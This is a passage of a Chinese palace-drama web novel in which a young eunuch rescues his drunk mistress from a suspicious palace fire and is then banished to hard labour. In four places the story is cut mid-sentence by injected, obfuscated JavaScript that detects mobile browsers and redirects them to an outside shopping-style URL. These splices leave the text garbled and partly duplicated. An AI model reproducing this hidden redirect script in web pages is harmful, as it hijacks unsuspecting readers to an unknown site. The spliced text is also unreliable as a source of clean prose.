听容没有拒绝的理由,接了青团后,就往皇子所去了。 皇子所能听到师傅讲课的声音,与他在村中听到的郎朗读书声不同,现下是师傅在讲文章,抑扬顿挫比村里私塾先生讲的更有韵律。 愣神之际,他就看到小禾正在冲他招手,脸上带着温和的笑意。 听容快步走过去,两个人跨过门槛进了后院,这里是致书堂的所在。 “我还在想你什么时候会来,结果你就到了。”小禾正闷得慌,听容来了就有人跟他说话了。 “芳眉姑姑让我拿了繁秀宫刚做好的青团来给严公子。”听容先打开给他看。 小禾指了指书房,手竖在嘴边小声说:“公子今日去跟着读书了,走,咱们进殿里说。” 致书堂里没别人,小禾成了大王,把青团放好后就招呼听容坐。 听容可不敢坐,又把果脯递给他:“这是给你的果脯。” 对外说是给严昱祉的,但听容知道是给小禾的。 小禾抱过盒子打开看了看,满满的一盒让他舔了舔嘴巴,没有马上吃,而是让听容稍等,就跑了出去。 致书堂剩下听容一人,听容就打量起了殿内。上次他在这儿是伺候酒的,没敢乱看,只想着严昱祉赶紧喝完,他好离开。 致书堂的布置在听容看来挺割裂的,给配的摆件品质很高,但更倾向于文人气质。可与之相对应的书桌上一本书都没看到,文房四宝齐全,铺开的宣纸上鬼画符似的写着些字,是挺有学文不佳那味的。 倒是放弓箭的地方收拾得很有序,只是占地不大,显不出什么。 小禾提着个小篮子进来:“这个给你,谢谢你给我做果脯。这是我让季哥带进来的京中老字号的点心。公子说得了别人的礼,理应还礼才对。” 拿东西与他交换,不是赏赐,少了高高在上的味道,仿佛他和小禾是平等的,没有谁理应为谁做什么,只是拿他擅长的换小禾有的。 “谢谢。”听容接了。 “不谢,托你的福,我才能吃上又甜又新鲜的果脯。”小禾笑得天真又温暖。 听容好像明白了为什么严昱祉会带小禾进宫,宫中生存不易,哪怕身为主子,也有防不胜防之处。有小禾这样的人在身边,至少不会忘记天真应该有的模样,心就不会越来越沉,失去光亮。 提着点心回到繁秀宫,采莺知道他是去送果脯了,这会儿鼻子不是鼻子,脸不是脸的:“拿的什么啊?” “严公子赏的糕点。”听容没说小禾给的,以免别人觉得小禾没规矩,背着主子乱送东西给别人。 采莺用指尖挑开盖子看了一眼,“嘁”了一声:“也不是什么值钱的东西嘛。” 听容知道她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17171355|196333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脸面上的事还是没过去,没必要跟她计较这些,笑说:“不过是些寻常糕点,入不了姐姐的眼,只是我家里穷,实在没吃过,觉得新鲜罢了。” 采莺满意了:“我和你还真是不一样,我从小跟着主子,这些糕点是从来不缺的。行了,你自己留着吃吧,我去伺候主子了。” 采莺离开后,芷月走了过来,刚才她都看到了,顾着采莺的脸面,没上前来。这会儿她担心听容心里不舒服,便走了过来。 “采莺姑娘估计还要缓几天,姑娘家脸皮薄,你别多想。”芷月说。这几天采莺的所为她都看在眼里,同时她很清楚,一个宫里不仅主子得有主意,下人们也要一条心,才能向好。 “芷月姐姐放心,我明白的。”听容今天心情好,不会计较什么,“姐姐要吃糕点吗?挺多的,我一个人怕是吃不完。” “哎呦,这不是京中老字号糕点吗?好久没吃过了,那我不客气了。”芷月拿了两块,就继续去干活了。 * 皇上皇后祈福回来,家宴正式开席,各宫都奉上了上巳节民间常吃的五彩饭、荠菜饼等,为家宴添些气氛,博皇上皇后一笑。 恭贵妃身体好了许多,也参加了家宴。 宴席有专门侍奉的宫女和太监,妃嫔们只带一位贴身宫女入殿伺候即可。循才人带了采莺进去,留了芷月在外候着,听容跟着将循才人送到宴会大殿门口,没得其他吩咐,就准备回宫等着了。 刚走出没多远,就迎面遇上了小青子。 “听容。”小青子先叫了他。 虽没在御酿局待几天,可这些人都算是听容的前同僚,叫不全名字也都是熟面孔。看着大家脸色和气氛都比彭公公那会儿好了不止一点,听容也越发觉得自己做得对了。 “青公公。”听容给他行礼。 小青子半途扶住他:“咱们就不用讲究这些了。你看起来过得还不错。” “无功无过,也算顺利。御酿局都还好吧?”听容关心几句。 “好着呢。” 听容注意到跟在后面的宫人都端着酒,应该是准备做补的,不禁说了一句:“循才人不胜酒力,青公公可得备些不易醉的。” “放心,都按各位主子的酒力准备的不同的酒,定不敢让主子喝多。”小青子说,“给循才人准备的是桂花甜米酒,没酿几日,醉不了人。” “青公公有心了,那小的就不打扰了,您忙。”听容第一次有了熟人好办事的感觉。 “行,改日你若无事,来局里坐坐。” “一定。” 回到宫里,小宫女正在用小炉子热中午送来的饭。今天全宫上下都在忙宴会,给宫人的晚饭送得早,以免耽误宴席。这会儿饭菜都冷了,得热了才能吃。 宫里就剩下他们三个,主子不在,宫门一关,倒也不拘束。两个小宫女平时话不多,能干活,都很得力,听容与她们说话不算多,这会儿坐在一块吃饭,倒也不冷清。 吃完饭,听容把水坐上,这样主子回来能立刻泡上茶。 “我把碗筷送回去,你们拿薄荷陈皮煮些水备着,万一主子宴席上吃腻了,喝些好消克。”听容提醒她们,随后就提着食盒出去了。 走到半途,他突然发现设宴的宫殿似乎有烟冒出来,他以为是自己看差了,结果没走出几步就发现烟骤然浓烈起来。随后就听到宫人们此起彼伏地大喊:“走水啦!走水啦!” 12.第12章 听容顾不上手里要送回去的空碗了,赶紧往万和殿赶。他不确定循才人是否有危险,可总得去看一眼才放心。 水龙队一边喊着“让开”,一边往万和殿冲,宴席上伺候的太监此时也在一桶一桶地提水往里跑。 听容到时发现着火的是供嫔妃们休息更衣的侧殿,此时火势已经烧起来,风卷着烧成灰的窗户纸乱飘,春风的温柔在此刻似乎比刀子还利。 皇上皇后都未出来,万和殿内的歌舞声都停了,救火由应顺公公看着,水龙队指挥,每个人都很着急,却要在乱中找序。 听容正要往大殿那边去,想着如果在那边看到芷月,说明循才人是安全的。结果他刚转身,就听到采莺的声音。 “你们水再喷大一些啊,循才人还在里头!” 听容顿时头皮发麻,这是他最不想听到的话。 这时芷月也从外面跑了进来,她的裙摆都脏了,手也磕破了,应该是赶得急摔倒了。 “姑娘,不是咱们不多喷,是水龙就能喷这么多。”队长一边急,一边还算有耐心地解释,随后又对提水的侍卫和太监喊,“再多叫些人来,先把火势控制住!” 听容顾不上芷月了,立刻跑到采莺身边:“采莺姐姐,你说主子在里头?” 看到听容,采莺仿佛终于找到了同盟,眼泪一下就流出来了:“对。主子喝得有些醉,我就陪她到侧殿休息。主子说今日穿得少,从宴席上出来觉得冷,让芷月回去拿件斗篷。我看主子醉得难受,就去取醒酒汤,结果还没等我回来,侧殿就着火了!” 芷月这会儿也跌跌撞撞地走近了,抓着采莺问:“主子怎么样了?” “我不知道,还在里面呢,一点动静都没有!”采莺哭得更凶了,可在救火的嚣声中,又显得那么微不足道。 “主子可能已经醉过去了,否则应该早跑出来了。”听容观察着火势。 宫殿毕竟够大,不像农家院子着起来,顷刻就被火舌吞没了。 “那怎么办啊?”芷月也哭起来,这样的火势,外面这么多人在叫着救火,主子就算醉倒了,也应该能被吵醒,除非是人醉晕过去了。 “侍卫大哥,现在不能冲进去救人吗?”听容知道哭没有用,但姑娘家急起来容易控制不住,他只能去问水龙队的队长。 水龙队队长一脸严肃:“还没冲出一个可以进去的通道,现在进去太危险了,很可能人没找到,就折里面了。” 听容看着前面的情势,他不认为再等下去情况会比现在好。宫殿烧起来本就蹊跷,灭火恐怕不易。 “侍卫大哥,麻烦您安排人对着大门冲水,我进去找主子。”听容边说边摘下帽子,重新绑起头发,散乱的头发很容易被火燎到,要全绑起来。 “不行,你进去能做什么?不要添乱。”队长立刻拒绝,他不能让人白白送命,哪怕只是个小太监,也是他失职。 “没有更好的时机了,您看这火还有短时间内扑灭的可能吗?”听容意已决。 应顺公公转头看了听容一眼,脸上的表情没有变化,也没有任何表态。 听容提起一桶水把自己浇湿,事到如今,只能拼一把了。 可还没等他往里冲,就被人一把拽住了,对方力气之大让听容直接撞到了他身上,抬头就看到严昱祉那张俊朗却面无表情的脸。 “不要莽撞。”严昱祉看着火势,火光在他的瞳仁中映出漂亮的红光。 “不是莽撞,趁着现在火势还能控制,我得进去。”听容连自称“奴才”都忘了。 严昱祉皱眉:“太危险。” 浇湿的衣裳被风一吹凉飕飕的,同时让听容更为清醒。他看了一圈周围的人,大家都在努力扑火,却并没有因为里面有人而显露出惶恐。是的,就算今天循才人死在里头,他们最多是救火不利,摊不上要命的责任。 而在这样紧急的情况下,皇上没过来,皇后也没来,这说明皇上对待循才人看似宠爱,实则并没有多少感情,若真是重视,怎会不来?可“皇上薄情”这样的话是不能说的,万一循才人没了,皇上为了显示自己有情有义,为心爱之人恼怒,就会拿他们这些当奴才的出气,届时才是真的没有活路了。 听容身冷,心冷,但心里憋着一股劲儿,他小声对严昱祉说:“严公子,我得去救主子,这也是救我自己的命。” 严昱祉抓在他胳膊上的手一紧,显然是明白了他话里的意思。随后他扯下自己的披风给听容围上,又提了桶水将听容浇得更湿了,低声提醒他:“用斗篷捂住口鼻,如果救不了别勉强。” “多谢。”说完,听容就扯着斗篷捂好自己,冲进了火场。 他没想过让严昱祉替他去,严昱祉根本没有理由舍命去救循才人,他能到这边来,多半是恭贵妃的意思。如此,已经可以了。 火烤得脸又热又烫,但听容顾不上那些。水龙队和提水灭火的都在往门口浇水,尽量给他提供能出来的路。 殿内烟气弥漫,好在严昱祉的披风布料好,浸水不重,遮住口鼻又不难呼吸,听容小心躲避着掉下来的焦木,快速观察殿内,很快就发现了趴在桌边地上的循才人。 火焰已经烧着了桌布,可万幸还没烧到循才人身上。 为防止呛入烟尘,并没有急着叫她。在掩住口鼻快速吸了几口气后,听容深吸了一口憋住,然后把湿披风盖到循才人身上,奋力背起她往外冲。 亏得他在家中时经常做体力活,虽然瘦,却是有些力气的。进宫后长时间没做重活,体力是比之前差了些,不过底子还在,背一个二十岁的妃嫔还是可以的。 呛了几口烟,但也快到门口了,随着新一轮的水泼进来,暂时露出一条通道,听容咬着牙冲了出去。在离开火场的那一刻,就有人扶住了他——还是严昱祉。 采莺和芷月焦急地等在外面,都顾不上哭了。见他把循才人背了出来,立刻冲了过去,把循才人扶下来。 “主子,主子,您醒醒,您别吓奴婢啊。”采莺摇晃着循才人。 芷月比她冷静些,抹了抹眼睛,试探着循才人的呼吸,然后冲外面喊道:“快叫太医,循才人还活着!”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17176605|196333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 随后就有小宫女跑去叫太医了。 严昱祉递给听容一个拧干的帕子:“擦擦脸。” 在火场里走了一遭,听容脸上的皮肤都热红了,这会儿干净冰凉的帕子贴在脸上,很舒服。 “多谢严公子。”听容终于能松口气了。 “你胆子够大的。”严昱祉语气带着一丝笑意。 听容没有回话,他不是胆子大,他只是想活而已。 太医来得很快,循才人也很快被送回了长宁宫。太医检查过后,说循才人是醉酒,又后呛了烟才昏迷的,好在没有外伤,被救出来的又及时,没有大碍,只要安心静养就行。 随后在芷月的请求下,太医也给听容看了,说他没有大碍,泛红的皮肤不是烧伤,只是火烤的,慢慢会恢复。还好心地给芷月留了治擦伤的外敷药。 送走了太医,门口的小炉子上煎着药,没有人来探望,长宁宫大门关着,听容、芷月和采莺围着小炉子坐在殿门口等循才人醒来,同时复盘起起火的事。 “送主子去万和殿回来时,我遇到了御酿局的青公公。我还跟他说主子的酒力不佳,给主子准备的得是不易醉的。”听容越想越奇怪,先说了自己知道的,“青公公说不敢让主子们喝醉,给咱们主子准备的是桂花米酿。” 采莺在殿内倒酒,答道:“的确是桂花米酿。” 芷月皱眉:“主子不是贪杯的人,几杯米酿应该不至于醉到这个地步吧?” 采莺犹豫着说:“主子的确不贪杯,但今日良嫔在宴上给皇上弹了新学的琵琶,皇上听得很高兴,赞了几句,还说之前冷落良嫔了,今晚会去她宫里。主子对良嫔本就有气未消,见她要复宠,心情不好就多喝了几杯。” “可即便如此,也不至于醉到不省人事吧?”听容皱着眉,作为大家闺秀,循才人是不会让自己失态的。 “的确,我去拿醒酒汤时,主子只说有点头晕。断不至于我去拿醒酒汤这短短的时间,就不省人事了。”采莺边回忆边分析。 “我进去的时候,主子是趴在桌边的地上的,看起来是想跑但为时以晚。”听容说。 三个人分析不出什么,只能等循才人醒了看还有什么线索,总之他们都不相信起火时循才人一点逃走的能力都没有。另外,万和殿守卫严密,怎么会突然起火,实在蹊跷。 寅时刚过,循才人终于有了动静,嘴上念叨着“着火了,救命”,骤然睁开眼。 “主子,您醒了?可吓死奴婢了。”采莺扑到床边。 听容和芷月也忙围了过去。 循才人猛咳了几声,听容立刻倒了水来给她润喉,被咽呛到,不舒服是正常的。 喝完水,循才人才看向他们三人,说:“怎么回事,我怎么回来的?我记得我好像看到火了。” 采莺红着眼睛,芷月把事情跟她讲了,还说幸好听容胆子大,冲进去把她背了出来,否则后果不堪设想。 循才人看了看听容,说了句“多亏你了”,随又后像想到什么似的,情绪激动地喊道:“那酒肯定有问题!” 13.第13章 芷月担心她情绪太激动,身体受不住,安抚道:“您别怕,咱们已经回宫里了,这件事有皇上皇后做主,肯定会给您一个说法的。” 提到泰宣帝,循才人眼眶一红,问:“皇上可来瞧过我了?” 屋里一时陷入沉默。 还是采莺先开口:“皇上应该还在调查此事,一时没顾得上您,等有了结果,肯定会来看您的。” 循才人吸了吸鼻子,全是委屈。 她十九进宫,得宠才将将半年,正是最依赖泰宣帝的时候。 听容见状,只能转移她的注意力,把话题转到该问的事上:“主子,您刚才说酒有问题?” 循才人收了委屈,说起重点:“酒的味道是桂花米酿没错,但入口并没有那么柔和,却又没有特别辛辣。我只以为是酿的时间长了些才会如此,并未在意。现在想来,就不对劲儿了。” 芷月点头道:“就像听容之前说的,米酿不至于让主子不省人事。现在主子提到酒的味道不对,那很有可能是有人往米酿里兑了别的酒。这样既有桂花米酿的味道,又比平时喝的更醉人。” “的确,可会是谁呢?御酿局?”循才人顺着这个思路往下想。 听容:“应该不会,御酿局送去的酒会有万和殿专门的太监尝过,确定味道、品类都没问题,才会收下。再说,要给您的酒里掺其他酒,还得能顺利送到您面前,就得买通这两处。这次家宴是皇后娘娘办的,方便这么做的人就指向了皇后,这太明显了反而可能性低。” 芷月同意:“皇后娘娘主理六宫,在她办的家宴上又是换酒又是起火的,岂不是让皇上怀疑皇后娘娘管理后宫的能力不行?” “那会是谁?”循才人在激动的情绪过去后,只剩下了后怕,“我甚至不知道火是怎么起的。只隐约记得看到了火光,我想跑来着,可后面就想不起来了。” “奴婢觉得最方便动手脚的恐怕是在给您端酒的过程中,这期间经手的人往酒壶里添点酒,是很难发现的。”芷月在宫里的时间长,知道的会多些。 循才人在床上呆坐了一会儿,又说:“失火会不会只是一场意外?有人往我酒里掺酒或许只是想让我酒醉离席,并不是要害我?” 闺阁女子没经历过这些,入宫受宠后,虽也遇上些事,却不至于威胁性命。如今骤然面对要命的事,有些人会选择冲出去博一博,而有些人会选择缩起来,将这一切当成误会,继续活在自己的桃源里。 听容没想到都到这个地步了,循才人还是会选择后者。蛎蝗的事他就不理解循才人的退缩,现在就更不理解了。他甚至生出了危机感,跟着这样的主子,他自己安全吗? 显然,不信这番话的不仅听容,芷月和采莺也是。屋里再次陷入沉默。 考虑再三,听容开口道:“如果只是意外,那这件事应该就到此为止了;如果不是意外,就算已经害不了您的性命了,对方恐怕也会在您反应过来之前,再做些什么。主子,您得打起精神来防范才是,不能任人鱼肉。” 上次听容觉得自己刚来没多久,所以不认同也没说什么。这次他依旧是长宁宫里资历最浅的,可为了自己的将来,他不得不提醒。 “我、我害怕。”循才人终是哭了起来。 大家都熬了一晚上,循才人留了采莺,让听容和芷月去睡会儿。 “姐姐,你觉得这事算完了吗?”听容想听听芷月的意思,他看得出,芷月心里想得多,但说得还是少。 芷月看了看听容,摇了摇头。 隔日,太医又来给请了脉,让循才人继续静养。太医刚走,泰宣帝身边的应顺公公就来了。 应顺笑眯眯地给循才人请了安,看着无害又恭敬:“皇上忙着前朝的事,实在不得空来看您,特差了奴才来。顺便跟您说一声,前日起火的事已经查明,是炭盆燎了娘娘们挂在那儿的衣裳引起的。 “万和殿只在办后宫家宴时才用,平日无人,难免湿冷。入春后天是暖和了些,可怕各位主子在殿内休息得不舒服,特放了个炭盆驱寒散湿,没想到烧着了衣裳,险些酿成大祸。 “皇后娘娘已经下令责罚了万和宫的奴才们,皇上也记挂您,等前朝的事处理完,皇上会来看您的。” 循才人像是松了口气,道:“查明了就好,我还需要静养,请公公代我谢过皇上和皇后娘娘。” “是。”应顺从容的语气和微笑的表情,好像无形中让这件事变得不那么严重了,“您身边的小太监很得力,拼死将您背了出来。也幸得您有天恩庇佑,毫发无伤,否则皇上也无法专心国事了。” 听容没想到应顺公公给帮他邀功,不过他并不觉得喜悦,皇上一直没来,可不是好事。 “是啊,听容来的时间不长,但一直非常得力。”循才人露出舒心的笑容。 应顺笑了笑:“庄贵妃娘娘请了皇上去春萱宫用晚膳,奴才得回去伺候了,先告退了。” “公公慢走。”循才人客客气气地说,泰宣帝身边的奴才是不能得罪的,况且应顺向来态度很好,她自然会更客气些。 等应顺走后,采莺才抱怨道:“不是说皇上前朝事忙吗?怎么还有空跟庄贵妃一起用膳,却不来看主子您?” 循才人垂眸掩住失望:“庄贵妃有大皇子傍身,皇上再怎么忙,也会去看她。” 采莺没话了,这的确是比不了的,不过她立刻又找到了可以慰藉的方法:“主子,等您这回养好了也加把劲儿,等您有了皇子,皇上肯定会更重视您的。” 循才人笑了笑,没说什么。 天刚擦黑,听容点上廊下的灯后准备去给循才人熬睡前的药时,突然闯进来一队奴才。 芷月听到动静赶紧出来看,随即惊讶有,但了然也有:“光全公公?您怎么来了,是庄贵妃娘娘有什么吩咐吗?” 听到“庄贵妃”三个字,听容的眼皮跳了跳。 光全拿眼角看人,哼了一声,高声道:“奉皇上口谕,长宁宫太监听容,擅离职守,钻营懒怠,护主不利,虽将循才人救出火场,却是死罪可免,活罪难逃。即日起,赶去勤耕苑。” 听容愣在当场,他去救了人,罚的却是他,这是他没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17182651|196333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想到的。可这也印证了他的猜测,这件事没完。 芷月立刻挡在听容身前:“听容是长宁宫的太监,光全公公还是要进去跟循才人说明才是。” 皇上的口谕,并不需要经过循才人才能把人带走,可芷月想保听容,就得让循才人开口。 全光是懂规矩的,一脸嘲讽地说:“皇上口谕,谁敢不从?” 听到动静的循才人从屋里走了出来,佯装镇定地问:“怎么回事?” 光全给她行了个虚礼:“循才人,皇上的口谕已经说得很清楚了,听容以后不能在长宁宫伺候了。我们贵妃娘娘说了,请你好好养着,别又喝醉了,闹出事来故意想惹皇上心疼。” 光全的话等于是把侧殿失火说成了是循才人自己搞的名堂,为的就是装可怜博得圣心。如此颠倒黑白的说法光全肯定是不敢这么讲的,多半是庄贵妃的意思。 听容看向循才人,庄贵妃宫里的人来传旨,多半是庄贵妃鼓动了皇上把他赶走的。他不敢说循才人求请就一定有用,可作为被害的,如果循才人肯为他说句话,皇上不会不考虑。 循才人嘴唇动了动,似在琢磨怎么说。 光全皮笑肉不笑地说:“才人遇险,原本长宁宫的人都要罚。是我们娘娘好心,劝住了皇上,皇上考虑到采莺是您的陪嫁,芷月是大宫女,才只赶了听容出去,您就知足谢恩吧。” 芷月见循才人半天没说话,忙道:“听容救了主子,理应功过相抵才是。” 长宁宫的人都清楚,什么擅离职守,钻营懒怠都是没有的事。 循才人越不说话,听容的心就越凉。他看得出来,循才人是不会保他了。其实从循才人不敢斗开始,他就应该料到的,又或许他早料到了,只是没敢细想。 听容在心里叹了口气,比起跟着这样的主子,他还是离开得好。不过他心里隐隐还是抱着一丝希望的,至少循才人还没开口。 又过了片刻,就听循才人道:“既如此,就让听容去勤耕苑吧。” 最后一丝希望被掐灭,听容对这里已经没有任何留恋了。在长宁宫这段时日,循才人对他不错,他自认也尽到了奴才的本份。如今当主子的不护他,他就得自己继续找生路。塞翁失马,焉知非福? 泰宣帝在春萱宫用完晚膳,就回了温华殿。案上的奏折堆在那里,泰宣帝只撇了一眼,很不耐烦。 “长宁宫没动静?”泰宣帝问。 跟在他身后的应顺答:“没有呢。听容已经被带走了。” 泰宣帝感叹似地说道:“无用啊,也无能。” 应顺没有接话,他清楚不是自己接话的时候。 泰宣帝自顾自地说:“宫里的这些手段朕见得多了,只是没出大事,没必要追究,免得六宫纷扰,坏了朕的心情。” “皇上圣明。”应顺自认已经尽到提醒循才人的责任,只是循才人没把他的话听进去,可惜了。 “就让她慢慢养着吧。去把良嫔叫来,朕想听琵琶。” 应顺应着就下去了,心中明镜一般——后宫的恩宠又要换一换了。 14.第14章 听容最开始就是想去勤耕苑的,只是最后被安排进了御酿局。现在兜兜转转,他还是去到了自己想去的地方,即便和在长宁宫时的待遇没法比,可对听容来说,也不算太差。 “行了,既然是长宁宫来的,也不用我跟你说规矩了。赶紧去睡吧,明儿早还得耕种。”管事太监刘柏没为难他,就让他休息去了。 听容怎么到这儿来的,刘柏心里有数。万和殿家宴起火的事,满宫皆知。救主的小太监被赶到勤耕苑,主子们心里怎么想他们这些做下人的是不知道,可他们知道的是,任救主的奴才被处置,这样的主子跟不得。 “可还有多余的被褥?”听容问了屋内的太监们。 大家都看了看他,却没人吱声。 听容皱了皱眉,正欲出去找管事,就听一小太监说:“你就自己裹着衣服睡一晚吧,你一个突然被赶来这儿的,我们可没多余的给你。” 听容刚来,对勤耕苑什么情势并不了解,就没有计较。跟他一批入宫被选来勤耕苑的他也不熟,都没说过什么话。好在他的东西都一并带过来了,芷月还悄悄给他塞了两件厚衣裳,在这个时节盖着睡不至于冻着。 听容到床尾躺下,隐约听到一声嘲笑,随后屋里就恢复了安静。 理性上来说,听容应该复盘一下自己的所为,再考虑一下以后在勤耕苑的日子要怎么过。但当下他却什么都不想去想,明天要做什么样的活还未可知,早点休息保存体力,或许是更明智的选择。 想到这儿,听容不再纠结,闭眼入睡。 天还没亮,勤耕苑的人就被叫了起来。吃过饭后,就开始两两一组,抬水浇地。 听容新来的,又是单蹦出的一个,刘柏给他划了块角落里的地,说这块地种的瓜以后就归他管了。 一个人提水,一个人浇灌,听容的速度比别人慢很多,可对他来说这些并不难,他在家时也是一个人做这些,从春忙到秋。 重新打好一桶水,听容提着往自己那块地走。迎面遇上要去打水的两个小太监,其中一个是昨晚让他裹着衣服睡的,早上点卯时,听容听到那人是叫“孔量”。 在擦身而过时,孔量故意撞了听容。听容提着木桶本就不稳,被他这么一撞,连人带桶摔进了刚浇了水的泥地里。 “哎呀!”负责这块地的小太监惊呼,“我刚浇了水,淹死我的苗子怎么办?!” 清明刚过种下的种子,这会儿大多已经出苗了,正是娇嫩的时候,浇多了水,或者压折了,很可能就废了。 孔量居高临下地看着摔得一身泥水的听容,笑道:“哎呦,在贵人宫里干活的,手上就是没个力气,提个水都能摔了。咱们勤耕苑可不是随便什么阿猫阿狗都能把活儿做好的地方,自己勤快些,别给我们添乱。” 虽然接触时间很短,但听容已经能感觉到对方的针对了。他不知道这份针对从哪儿来的,他记忆中自己与孔量并无接触。 负责这块地的小太监赶紧过来检查苗子,把多余的还没来及得渗入地里的水舀走,尽量补救。嘴里说着数落的话,却没有太刻薄,听容也没往心里去。 刘柏远远地看着,没有指责任何一方,只当没看到。 听容换了衣服回来继续劳作,勤耕苑种的这些瓜果蔬菜只是皇宫中的锦上添花,肯定不能指望这些填饱所有人的肚子。这里种的都是些不常得的,主要供给皇上皇后,若丰收了,再由皇上下旨赏其他宫里。 体力活的消耗总是格外大,一些手头宽裕的太监会拿出自备的馒头、糕点,这些都是托能出宫的太监帮着买的,在休息期间吃些补充体力。而手头没什么钱的,就只能喝水充饥了。 听容手上有在长宁宫当差的月例,还有严昱祉赏他的碎银子也没用上。只是他还没有门路找公公帮他带吃食,也没有提前准备,只能喝水。 这种挨饿的感觉再次被唤醒,听容会本能地去习惯,可同时也生出危机感,没有人会在过过吃饱饭的日子后,还会心甘情愿地忍受饥饿。 致书堂—— 严昱祉今日又没跟着皇子们读书,他在学文上三天打渔,两天晒网,泰宣帝都随他了,师傅们自然不会说什么。 “奴婢长宁宫宫女采莺给严公子请安。”采莺身段柔软地行了礼,“奴婢前来归还公子的披风,感谢公子那里对主子的搭救。” 那日这件披风是披在听容身上的,后来听容背循才人出来的时候,又披到了循才人身上,一路披回了长宁宫。 现在披风已经清洗熨烫干净了,凑近了还能嗅到熏香的味道。 严昱祉示意小禾把披风收下,才又道:“与我无关,不是我救的人,不敢应循才人的谢。” 采莺声音格外娇柔:“若不是那日有您在,听容就是想冲进去,恐怕也没那么容易。” 严昱祉看了看她,一个宫女满头绢花不大合规矩,不过受宠嫔妃的宫女打扮得鲜亮些,倒也不算太出格。 “怎么是你来送?听容呢?”严昱祉架着腿,一副不羁的样子。 采莺脸上闪过一丝尴尬,她不确定严昱祉是真的不清楚,还是明知故问,为了给自己和自己主子保面子,她只能道:“听容还有别的差事,主子怕他笨嘴拙舌地说不清楚,特派了奴婢过来。公子帮了主子,奴婢实在无以为报,不知公子可有什么喜欢的,奴婢可为公子做了,略略报答公子的恩情。” “我说了我没做什么,姑娘的报答我实不敢受。皇子所不方便宫女进出,以后若有什么事,还是差听容过来吧。”说完,严昱祉就拿起旁边的弓箭细细擦拭,不再理会采莺了。 采莺还想再跟严昱祉说几句话,可小禾已经掀开门帘送客了,采莺无奈,只得离开。 待她走后,严昱祉对小禾道:“跟守门的侍卫说一声,以后有长宁宫的人来找我,直接拦了。” “好。”小禾的表情也不怎么高兴,“公子,我能去看看听容吗?” 严昱祉想了想,说:“你去未必方便。” “我的果脯吃完了怎么办?”对着严昱祉,小禾是不耍心眼的,有什么就说什么,哪怕要求十分无理。 严昱祉笑了:“那你去找菩萨求一求,让他早日从勤耕苑爬出来。” “菩萨管这个吗?”小禾抓抓头发,全是疑惑。 “我哪知道?”严昱祉本来就是逗他玩的。 听容干了一天的活儿,到晚饭时已经又累又饿。 等他收好工具来到饭堂,却 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17187169|196333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发现装饭菜的木桶已经空空如野。 “哎呀,都忘了还有你这号人了,没给你剩下,这可怎么办啊。”孔量端着自己的饭碗,阴阳怪气地笑道。 其他人都低头扒饭,没人想掺和。 听容知道这个情况下多说无用,他若软弱,就会被一直当软柿子捏。不管孔量为什么针对他,他先得活下去再说。 于是他走上前去,身子一歪,直接撞在了孔量身上,孔量毫无防备,手上没拿稳,饭碗摔在了地上,饭菜撒了一地。 “你!”孔量又惊又怒地瞪着听容。 听容则一脸无辜地扶着桌子:“对不住了,我没吃饭,饿得头晕眼花,实在是站不稳了。” 其他小太监继续装没看到,专心吃饭。 “你就是故意的!”孔量大吼。 “你都能不是有意不给我留饭的,我怎么就不会饿晕了撞到你呢?”听容即便饿得没力气,气势上也不愿意输。 “你少胡搅蛮缠,我看你力气大得很!”孔量扯住听容的衣服。 “吵什么呢?!”刘柏推门进来,“吃饭还堵不上你们的嘴?!” 孔量立刻把手松开,开始恶人先告状:“公公,他撞翻了我的饭碗。” 刘柏拿眼一打量,就明白了,不过他并不打算帮谁:“把地上的饭菜收拾干净了,别给我惹事!” 孔量知道刘柏这是心里有数了,也不敢再说什么,默默地收拾了地上的饭菜。然后拿出自己藏的糕饼,狠狠地瞪了听容一眼,坐下来充饥。 听容什么都没有,只能继续喝水充饥,焦躁、委屈、不安都化作了活下去的信念,离开这里的念头也冒了出来。这里曾经是他的首选,现在被针对,他不清楚为什么,管事太监和稀泥,又没有一个像小青子那样能主事的,这个地方他再待下去是不会有好结果的。 一夜没睡好,听容终于熬到了早上,吃了顿饱饭,他才恢复了些力气,可以继续劳作。 